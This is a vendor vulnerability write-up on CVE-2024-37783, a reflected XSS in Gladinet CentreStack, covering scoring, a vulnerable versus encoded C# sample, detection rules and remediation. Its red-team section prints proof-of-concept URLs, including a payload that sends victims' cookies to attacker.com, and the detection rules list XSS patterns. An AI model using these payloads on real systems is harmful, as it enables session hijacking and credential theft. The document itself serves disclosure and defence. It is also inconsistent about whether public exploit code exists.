CVE-2024-37783
Executive Summary
CVE-2024-37783 is a reflected cross-site scripting (XSS) vulnerability discovered in Gladinet CentreStack version 13.12.9934.54690. The flaw resides in the /portal/ForgotPassword.aspx page, where the sessionId parameter is not properly sanitized before being reflected back to the user's browser. An attacker can craft a malicious URL containing JavaScript payloads in the sessionId parameter; when a victim clicks the link, the script executes in the context of the vulnerable application, potentially leading to session hijacking, credential theft, or further client-side attacks. The vulnerability has a CVSS score of 6.1 (Medium) due to the requirement for user interaction and the limited impact on confidentiality and integrity. No official patch has been released at the time of analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects a proprietary web application (Gladinet CentreStack) and does not involve open-source package distribution channels. However, organizations using CentreStack should treat this as a critical supply chain risk if the application is used to manage sensitive data or user identities.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low – No special conditions are required; the attacker only needs to craft a malicious URL.
- Privileges Required (PR): None – No authentication is needed to trigger the XSS.
- User Interaction (UI): Required – The victim must click the crafted link.
- Scope (S): Changed – The XSS can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
- Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
- Integrity (I): Low – Limited ability to modify data (e.g., perform actions on behalf of the user).
- Availability (A): None – No impact on system availability.
Threat Level: Medium. The vulnerability requires user interaction, but the lack of a patch and the potential for session hijacking make it a realistic threat in targeted attacks.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the ASP.NET Web Forms application. The /portal/ForgotPassword.aspx page accepts a sessionId query parameter and reflects its value directly into the HTML response without proper encoding or validation. An attacker can inject arbitrary JavaScript by crafting a URL such as:
https://target/portal/ForgotPassword.aspx?sessionId=<script>alert('XSS')</script>
When the victim visits this URL, the server returns a page containing the injected script, which executes in the victim's browser. The attack can be used to steal session cookies, redirect the user to a phishing page, or perform actions on behalf of the victim.
The root cause is the lack of output encoding for the sessionId parameter. In ASP.NET, this can be mitigated by using HttpUtility.HtmlEncode() or the AntiXssEncoder class. The vulnerable code likely uses Request.QueryString["sessionId"] directly in the page markup without encoding.
Vulnerable vs. Patched Code
Vulnerable Code (C# ASP.NET):
protected void Page_Load(object sender, EventArgs e)
{
string sessionId = Request.QueryString["sessionId"];
// Directly embedding the parameter into the page
Response.Write("<input type='hidden' id='sessionId' value='" + sessionId + "' />");
}
Patched Code (C# ASP.NET):
protected void Page_Load(object sender, EventArgs e)
{
string sessionId = Request.QueryString["sessionId"];
// Encode the parameter before embedding
string encodedSessionId = HttpUtility.HtmlEncode(sessionId);
Response.Write("<input type='hidden' id='sessionId' value='" + encodedSessionId + "' />");
}
The patched version uses HttpUtility.HtmlEncode() to convert special characters (e.g., <, >, ") into their HTML entity equivalents, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Proof of Concept (PoC) URL:
https://target/portal/ForgotPassword.aspx?sessionId=<script>alert(document.cookie)</script>
Advanced Payload (Session Hijacking):
https://target/portal/ForgotPassword.aspx?sessionId=<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
Lab Setup:
- Deploy a vulnerable instance of Gladinet CentreStack v13.12.9934.54690 in a controlled environment.
- Use a web browser to navigate to the PoC URL.
- Observe the JavaScript execution (e.g., alert box or network request to attacker server).
Note: No public exploit code (e.g., Exploit-DB) is available for this CVE.
Blue Team (Defensive)
Detection Steps:
- Monitor web server logs for requests to
/portal/ForgotPassword.aspxcontaining suspicioussessionIdparameters (e.g.,<script>,onerror=,javascript:). - Use a Web Application Firewall (WAF) to block requests with XSS patterns in the
sessionIdparameter. - Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Apply input validation and output encoding as shown in the patched code.
- If a patch is unavailable, consider disabling the ForgotPassword.aspx page or restricting access via IP whitelisting.
Indicators of Compromise (IOCs)
- URL Pattern:
/portal/ForgotPassword.aspx?sessionId=*where*contains HTML/JavaScript code. - Network Traffic: Outbound HTTP requests from the victim to attacker-controlled domains (e.g., for cookie exfiltration).
- Log Entries: Web server logs showing
sessionIdparameters with<script>tags or encoded variants (e.g.,%3Cscript%3E). - File Artifacts: No file-based IOCs; the attack is purely client-side.
Detection Engineering
YARA Rule
rule CVE_2024_37783_XSS_Detection {
meta:
description = "Detects reflected XSS attempts targeting CVE-2024-37783 in Gladinet CentreStack"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-37783"
strings:
$xss_pattern1 = "/portal/ForgotPassword.aspx?sessionId="
$xss_pattern2 = "<script>"
$xss_pattern3 = "onerror="
$xss_pattern4 = "javascript:"
condition:
$xss_pattern1 and any of ($xss_pattern2, $xss_pattern3, $xss_pattern4)
}
Sigma Rule
title: Reflected XSS Attempt on Gladinet CentreStack ForgotPassword
id: 8a3f5c2e-1b4d-4f7a-9c6e-2d8f0a1b3c5e
status: experimental
description: Detects HTTP requests to /portal/ForgotPassword.aspx with suspicious sessionId parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: iis
detection:
selection:
cs-uri-query|contains: "/portal/ForgotPassword.aspx?sessionId="
cs-uri-query|contains|any:
- "<script>"
- "onerror="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of encoded session IDs (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-37783 Gladinet CentreStack Reflected XSS Attempt"; flow:to_server; content:"/portal/ForgotPassword.aspx"; http_uri; content:"sessionId="; http_uri; pcre:"/(<script>|onerror=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Apply input validation and output encoding to the
sessionIdparameter in/portal/ForgotPassword.aspx. UseHttpUtility.HtmlEncode()or equivalent. - WAF Rules: Deploy WAF rules to block requests containing XSS patterns in the
sessionIdparameter. - CSP Header: Add a Content Security Policy header that restricts script execution (e.g.,
script-src 'self'). - User Education: Train users to avoid clicking suspicious links, especially those containing query parameters.
- Patch Monitoring: Monitor Gladinet's official channels for a security patch. If none is released, consider upgrading to a newer version or migrating to an alternative solution.
- Network Segmentation: Limit access to the CentreStack portal to trusted networks only.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.